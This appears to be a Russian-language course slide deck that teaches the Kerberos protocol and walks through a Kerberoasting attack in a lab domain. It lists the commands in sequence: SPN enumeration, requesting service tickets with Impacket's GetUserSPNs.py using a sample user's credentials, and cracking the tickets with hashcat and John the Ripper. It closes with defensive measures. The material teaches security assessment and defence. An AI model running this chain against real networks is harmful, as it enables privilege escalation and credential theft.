
Онлайн-образование



Не забыть включить запись!



Меня хорошо видно && слышно?
Ставьте , если все хорошо

Напишите в чат, если есть проблемы
+



KERBEROAST(ING)



Активно участвуем

Задаем вопрос в чат или голосом

Off-topic обсуждаем в Slack #канал группы или #general

Вопросы вижу в чате, могу ответить не сразу

Правила вебинара



Обзор прокола Kerberos

Цель атаки Kerberoasting

Практика

Рефлексия



Цели вебинара | После занятия вы сможете

Понимать устройство протокола Kerberos1

Использовать различные утилиты для работы с Kerberos
на примере утилит из Kali Linux2

Проводить атаку Kerberoasting с помощью утилит,
доступных в Kali Linux3



Смысл | Зачем вам это уметь 

Понимание работы протокола Kerberos.
Его плюсы и минусы с точки зрения безопасности.1

Проведение анализа защищенности корпоративной среды.2

На основе полученных знаний уметь выстраивать защиту
корпоративной сети.3



KERBEROS



Протокол Kerberos

•Сетевой протокол аутентификации

•Первая версия протокола Kerberos была 
создана в 1983 году в Массачусетском 
технологическом институте (MIT) в рамках 
проекта «Афина»

•Три головы – это три участника обмена 
сообщениями: клиент, сервер 
аутентификации и сервис.
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Протокол Kerberos

1
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Протокол Kerberos в Windows

1

2

Порт 88/UDP используется системой аутентификации Kerberos

Порт 464/TCP,UDP используется для смены пароля Kerberos



Настройка Kali Linux



Установка heimdal-clients

apt install -y heimdal-clients
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Настройка heimdal-clients
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Настройка heimdal-clients

1
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nano /etc/krb5.conf
[libdefaults]

default_realm = SECLAB.LOCAL
***
[realms]

SECLAB.LOCAL = {
kdc = RU-MSK-DC-01.seclab.local
admin_server = RU-MSK-DC-01.seclab.local
default_domain = seclab.local

}
[domain_realm]

***
seclab.local = SECLAB.LOCAL
.seclab.local = SECLAB.LOCAL



Настройка DNS
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nano /etc/resolv.conf

search seclab.local
nameserver 10.0.0.2



Установка времени

1
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apt install -y rdate

rdate -n RU-MSK-DC-01



Атака Kerberoasting



Kerberoasting

Цель атаки: повышение привилегий1
Что необходимо для проведения атаки:

- логин и пароль доменного пользователя
(Sergey.Ivanov / Summer2019),
- имя домена (SECLAB.LOCAL).

2

Результат: пароль сервисной учетной записи
в открытом виде3



Impacket GetUserSPNs.py

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

2
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https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py


Impacket GetUserSPNs.py

Какие учетные записи с SPN доступны нам:
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Domain Controller

Какие учетные записи с SPN доступны нам

setspn.exe –T seclab.local –Q */*
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Impacket GetUserSPNs.py

Получаем TGS (Ticket Granting Service)

GetUserSPNs.py -request seclab.local/Sergey.Ivanov:Summer2019
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Wireshark

Проанализируем трафик с помощью Wireshark:
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Hashcat

Подбор пароля с помощью утилиты hashcat

hashcat –m 13100 –a 0 ~/ticket /usr/share/wordlists/rockyou.txt
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John The Ripper

Выполним подбор пароля с помощью утилиты JohnTheRipper

john –wordlist=/usr/share/wordlists/rockyou.txt ~/ticket

2
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Защита от Kerberoasting

Выделение 
фигурой/маркеро

м инфы

Одна мысль на 
слайде 

без картинок

Использование 
цифр для опроса

0-9

Длинные пароли для сервисных учетных
записей1

Регулярная смена паролей

Мониторинг событий выдачи билетов для
сервисов

Мониторинг использования сервисной
учетной записи на других хостах в сети

2
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Слайд с домашним заданием

Срок: 3 дня

2

Изучить дополнительные материалы со 
слайда «Список материалов для изучения»1
Подробнее ознакомиться с использованными
утилитами (почитать инструкции)

3 Самостоятельно посмотреть сетевой трафик 
с помощью Wireshark



Рефлексия

?

Отметьте 3 пункта, которые вам 
запомнились с вебинара

Что вы будете применять в работе 
из сегодняшнего вебинара?



Следующий вебинар

Ссылка на вебинар будет в ЛК за 15 минут

Тема:

Обязательный 
материал обозначен 
красной лентой

Материалы к занятию 
в ЛК — можно изучать

Структура операционной системы Linux. Основные механизмы 
разграничения доступа. Часть 1



Список материалов для изучения

 adsecurity.org

 https://hackernoon.com/kerberoasting-f080cd03e8cd

 https://medium.com/@markmotig/kerberoasting-from-setup-to-cracking-3e8c980f26e8

 https://github.com/SecureAuthCorp/impacket

 https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names

https://hackernoon.com/kerberoasting-f080cd03e8cd
https://medium.com/@markmotig/kerberoasting-from-setup-to-cracking-3e8c980f26e8
https://github.com/SecureAuthCorp/impacket
https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names


До новых встреч!


